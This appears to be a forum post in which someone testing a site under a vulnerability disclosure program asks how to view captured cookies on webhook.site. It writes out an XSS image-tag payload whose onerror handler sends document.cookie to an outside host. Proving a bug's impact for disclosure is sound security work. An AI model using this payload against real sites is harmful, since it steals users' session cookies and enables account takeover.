I'm doing an XSS attack for a VDP and I discovered a vulnerability, and I've got a question. I want to prove the impact of it. So basically I used an image tag with an event handler. greather than siggn; img src=x onerror=this.src='https://domain/?'+document.cookie> so I am trying to prove, that it is possible to steal cookies with this payload, but i don't have burp, cuz I am broke so I used webhook.site Where can I find the cookie on webhook.site? Can I see the full request?
